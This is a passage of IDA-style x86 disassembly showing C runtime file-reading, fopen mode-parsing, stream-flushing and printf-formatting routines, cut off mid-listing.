loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26E0000h test eax, eax jnz short loc_41F1E4 nop call near ptr 2660882h push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26E0000h test eax, eax jnz short loc_41F285 nop call near ptr 2660882h test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: 